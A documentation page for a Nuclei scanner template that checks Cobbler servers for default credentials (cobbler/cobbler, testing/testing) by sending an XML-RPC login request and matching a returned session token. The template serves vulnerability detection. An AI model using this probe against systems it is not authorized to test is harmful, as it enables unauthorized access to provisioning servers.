Cobbler Default Login

ID: cobbler-default-login

Severity: high

Author: c-sh0

Tags: cobbler,default-login,api,seclists

Description

Cobbler default login credentials for the testing module (testing/testing) were discovered.

YAML Source

id: cobbler-default-login

info:
  name: Cobbler Default Login
  author: c-sh0
  severity: high
  description: Cobbler default login credentials for the testing module (testing/testing) were discovered.
  reference:
    - https://seclists.org/oss-sec/2022/q1/146
    - https://github.com/cobbler/cobbler/issues/2307
    - https://github.com/cobbler/cobbler/issues/2909
  classification:
    cwe-id: CWE-798
  metadata:
    max-request: 2
  tags: cobbler,default-login,api,seclists

http:
  - raw:
      - |
        POST {{BaseURL}}/cobbler_api HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

        <?xml version='1.0'?>
        <methodCall>
          <methodName>login</methodName>
          <params>
            <param>
              <value>
                <string>{{username}}</string>
              </value>
            </param>
            <param>
              <value>
                <string>{{password}}</string>
              </value>
            </param>
          </params>
        </methodCall>

    attack: pitchfork
    payloads:
      username:
        - cobbler
        - testing
      password:
        - cobbler
        - testing

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - 'text/xml'

      - type: dsl
        dsl:
          - "!contains(tolower(body), '<name>faultCode</name>')"
          - "!contains(tolower(body), 'login failed')"
        condition: or

      - type: regex
        part: body
        regex:
          - "(.*[a-zA-Z0-9].+==)</string></value>"
# digest: 490a00463044022041150014ace9ce6bead0270848a55023c2a9448f1b9ccf016f229b2baf36764102201ed451c487579dec0c60bad3a51e6c89983f13fbaa2801d8d119703f800ce6e9:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/default-logins/cobbler/cobbler-default-login.yaml"

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